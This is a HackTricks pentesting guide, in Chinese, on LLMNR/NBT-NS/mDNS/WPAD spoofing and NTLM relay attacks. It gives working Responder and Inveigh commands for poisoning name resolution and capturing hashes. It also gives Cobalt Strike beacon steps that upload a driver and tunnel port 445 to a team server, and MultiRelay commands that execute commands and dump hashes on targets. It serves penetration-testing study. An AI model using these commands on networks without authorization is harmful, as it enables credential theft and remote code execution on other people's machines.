Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

支持 HackTricks

网络协议

本地主机解析协议

  • LLMNR、NBT-NS 和 mDNS

  • Microsoft 和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。同样,Apple 和 Linux 系统使用 mDNS。

  • 这些协议易受拦截和伪造攻击的影响,因为它们通过 UDP 的未经身份验证的广播方式传输。

  • Responder 可以通过向查询这些协议的主机发送伪造响应来冒充服务。

  • 可以在这里找到有关使用 Responder 进行服务冒充的更多信息。

Web 代理自动发现协议 (WPAD)

  • WPAD 允许浏览器自动发现代理设置。

  • 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来进行发现。

  • Responder 可以自动化 WPAD 攻击,将客户端重定向到恶意的 WPAD 服务器。

Responder 用于协议毒化

  • Responder 是一种用于毒化 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型有选择性地响应,主要针对 SMB 服务。

  • 它预装在 Kali Linux 中,可在 /etc/responder/Responder.conf 中配置。

  • Responder 在屏幕上显示捕获的哈希值,并将其保存在 /usr/share/responder/logs 目录中。

  • 它支持 IPv4 和 IPv6。

  • Responder 的 Windows 版本可在这里找到。

运行 Responder

  • 使用默认设置运行 Responder:responder -I <Interface>

  • 进行更积极的探测(可能会产生副作用):responder -I <Interface> -P -r -v

  • 通过技术捕获 NTLMv1 挑战/响应以便更轻松地破解:responder -I <Interface> --lm --disable-ess

  • 可以通过以下方式激活 WPAD 冒充:responder -I <Interface> --wpad

  • NetBIOS 请求可以解析为攻击者的 IP,可以设置身份验证代理:responder.py -I <interface> -Pv

使用 Responder 进行 DHCP 毒化

  • 伪造 DHCP 响应可以永久毒化受害者的路由信息,提供了比 ARP 毒化更隐蔽的替代方案。

  • 需要精确了解目标网络的配置。

  • 运行攻击:./Responder.py -I eth0 -Pdv

  • 这种方法可以有效地捕获 NTLMv1/2 哈希,但需要小心处理以避免网络中断。

使用 Responder 捕获凭据

  • Responder 将使用上述协议冒充服务,捕获凭据(通常是 NTLMv2 挑战/响应),当用户尝试对冒充的服务进行身份验证时。

  • 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便更轻松地破解凭据。

需要强调的是,使用这些技术应该在合法和道德的前提下进行,确保获得适当的授权,避免干扰或未经授权访问。

Inveigh

Inveigh 是一款专为 Windows 系统设计的渗透测试人员和红队人员工具。它提供类似于 Responder 的功能,执行伪造和中间人攻击。该工具已经从 PowerShell 脚本发展为 C# 二进制文件,主要版本为 InveighInveighZero。详细的参数和说明可以在 wiki 中找到。

Inveigh 可以通过 PowerShell 运行:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

或者作为一个C#二进制文件执行:

Inveigh.exe

NTLM Relay Attack

这种攻击利用SMB身份验证会话访问目标机器,如果成功则授予系统shell。关键先决条件包括:

  • 认证用户必须在中继主机上具有本地管理员访问权限。

  • SMB签名应该被禁用。

445端口转发和隧道

在直接网络引入不可行的情况下,需要转发和隧道化445端口上的流量。像PortBender这样的工具有助于将端口445的流量重定向到另一个端口,这在本地管理员访问用于驱动加载时是必不可少的。

在Cobalt Strike中设置和操作PortBender:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

用于 NTLM 中继攻击的其他工具

  • Metasploit:设置代理,本地和远程主机详细信息。

  • smbrelayx:一个用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。

  • MultiRelay:Responder 套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。

每个工具都可以配置为通过 SOCKS 代理运行,即使具有间接网络访问权限也可以进行攻击。

MultiRelay 操作

/usr/share/responder/tools 目录执行 MultiRelay,针对特定的 IP 或用户。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

强制 NTLM 登录

在 Windows 中,您可能能够强制一些特权帐户对任意机器进行身份验证。阅读以下页面以了解详情:

参考资料

支持 HackTricks

Last updated